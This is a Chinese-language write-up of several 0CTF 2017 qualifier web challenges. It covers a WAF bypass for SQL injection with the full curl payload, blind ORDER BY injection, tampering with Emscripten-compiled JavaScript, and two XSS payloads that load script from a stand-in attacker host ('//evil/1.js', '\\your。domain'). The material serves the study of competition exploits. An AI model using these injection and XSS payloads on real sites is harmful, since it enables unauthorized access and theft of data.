0CTF 2017 Quals web writeup
发表于 2017 年 3 月 20 日
simple sqli
index.php 接收 id 参数, id=floor(pi())
与 id=3
返回的结果相同,可以猜测 SQL 语句可能是
SELECT * FROM foo WHERE id = $_GET['id']
测试可知 SQL 语句存在语法错误时返回 HTTP 500 ;SELECT FROM 之类的关键字被 WAF 拦截了。传入 id=length('select')/6
应与 id=1
相同。用 BurpSuite 在 select 中加单个字符,观察返回内容可以发现一些字符在进入 SQL 语句之前会被过滤掉(替换成空):
也就是说 sel%00ect
在通过 WAF 后、进入 SQL 语句前变成了 select
,这样我们就可以注入了:
$ curl http://202.120.7.203/index.php?id=0+union+selec%00t+1,(selec%00t+flag+fro%00m+flag),3
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>flag{W4f_bY_paSS_f0R_CI}</title>
</head>
<body>
<h3>flag{W4f_bY_paSS_f0R_CI}</h3>
<div class="main">
3 </div>
<p><a href="index.php?id=1">View article</a></p>
</body>
</html>
Temmo's Tiny Shop
注册登录后有购买/售出/搜索的功能。注册完帐号内有4000元,HINT 需要 8000 元才能购买,可以想到应该是通过条件竞争来加钱。然而刚开始做的时候题目有问题,一旦有人注册,所有帐号里的钱都会变多,直接买了 HINT。HINT 里写了表名和列名:
select flag from b7d8769d64997e392747dbad9cd450c4
所以接下来应该是找注入点。搜索功能除了关键字,还可以选择排序方式(order=price/name)。测试发现 price/name 是直接在 get 参数中传递的,可以推断出 order 前后并没有引号保护,SQL 语句可能是:
SELECT * FROM foo WHERE name LIKE '%$_GET['keyword']%' order by $_GET['order']
经测试发现 order 参数不能含有空格,可以用括号来替代,利用 name 和 price 排序的不同顺序来盲注:
SELECT * FROM foo WHERE name LIKE '%%' order by if(1=1,name,price)
由于 order 参数限制长度为 100 字符以内,所以用 BurpSuite 的 intruder 中将 Attack type 选为 Cluster bomb,在 mid() 的第二个参数和 like 的 asciihex 上设置变量生成 payload。
最后用 intruder 的导出结果功能,把条件为真的 payload1 与 payload2 导出即可。
KoG
观察网页源码中的这段 js:
function go() {
args = GetUrlParms();
if (args["id"] != undefined) {
var value = args["id"];
var ar = Module.main(value).split("|");
if (ar.length == 3) {
var s = "api.php?id=" + args["id"] + "&hash=" + ar[0] + "&time=" + ar[1];
$(document).ready(function() {
content = $.ajax({
url: s,
async: false
});
$("#output").html(content.responseText);
});
}
if ((ar.length == 1) & (ar[0] == 'WrongBoy')) {
alert('Hello Hacker~');
}
}
}
var wait = setInterval(function() {
if (Module.main != undefined) {
clearInterval(wait);
go();
}
}, 100);
将 url 中的 id 参数传入 Module.main() 获得 hash,带 hash 对 api.php 发起请求。api.php 对 hash 进行校验,校验通过就将 id 代入 SQL 语句进行查询并返回结果。
所以这题的关键是 Module.main(),测试发现传入的参数如果不是数字会返回 WrongBoy,否则返回对应的 hash。这个函数在 functionn.js 里,搜索特征发现是用 Emscripten 从 C/C++ 编译成的 js,两万多行看得头都大了。
头再大也要做题啊,于是就开了两个窗口,一个执行 Module.main('1'),另一个执行 Module.main('q'),F11 单步跟踪调试,发现两者在 7633 行的 $13 = ($12|0)==(199401);
结果不同,7659行的 $25 = ($i$0|0)==($26|0);
结果也不同,直接改这两个变量可以得到字符串的 hash 了。
complicated XSS
题目告诉我们 flag 在子域名 http://admin.government.vip:8000
,访问该链接重定向到 /login
,登录后回到 /
,服务端从 cookie 中取出 username 输出在页面上。修改 username 发现并没有跟 session 对应,所以我们就有了在 admin 子域下执行 js 的能力。
先在 http://government.vip/
提交带有 img 标签的 XSS Payload,从 Referer 可知管理员会在 http://government.vip/
域下访问我们的 Payload。由于 Cookie 的脆弱性,我们可以在 government.vip 为子域设置 cookie,然后通过跳转来触发 XSS。
虽然我们可以在 admin 域上执行 js 了,但是由于 http://admin.government.vip:8000/
禁用了很多函数,只能用跳转的方法传出已有的数据,没法用 XHR 发出 POST/GET 请求,由于这题的 BOT 用的是 PhantomJS (从 UA 知道的),所以 fetch() 也是不能用的。
delete window.Function;
delete window.eval;
delete window.alert;
delete window.XMLHttpRequest;
delete window.Proxy;
delete window.Image;
delete window.postMessage;
然而同源的 /login
并没有禁用 XHR,所以可以通过 iframe 来“借用” /login
的 XHR。
Payload:
document.cookie = "username=</h1><script src='//evil/1.js'></script>;path=/;domain=.government.vip"
window.location.href = "//evil/2.html"
2.html 包含 /login
和 /
两个iframe,1.js 中用 this.XMLHttpRequest = top.frames[0].XMLHttpRequest
来获得 XHR。读取当前页面源码发现有个上传表单,XHR POST 上传后即可获得 flag 。
simple XSS
题目让我们提交 XSS Payload,绕过过滤拿到 /flag.php
的内容。用 intruder 提交 %00~%ff 可以知道这些字符是不能用的:
!"#$%&'(),./:;>?@[]`{}
$、反引号和括号已经把 inline js 一棒子打死了(可以说是孙悟空了),注意到左尖括号并没有被拦截,所以这里一定是插入一个不需要闭合的标签来执行 js 了。
第一反应想到的就是 <link rel=import href=url
,问了下出题人 @md5_salt 说 BOT 不是 PhantomJS,是真的 Chrome Stable。然而加载外域资源得用到 /
,尝试了下 \\octip
并不行,其实这里踩了 Windows UNC Path 的坑,其他系统中 Chrome 会将 \\
解释成当前协议。然而当前协议是 HTTPS,SSL 证书与域名绑定,这儿又不能用 .
,无法传入域名,如果直接传入 \\octip
,Chrome 会认为 https://ip
该请求不安全而拦截。由于之前出题也用过 PhantomJS,发现并不支持 Chrome 的一些特性,重新整理思路,思考了下两者的差异,发现可以用中文的句号 。
来替代 .
,于是最终的 Payload:
<link rel=import href=\\your。domain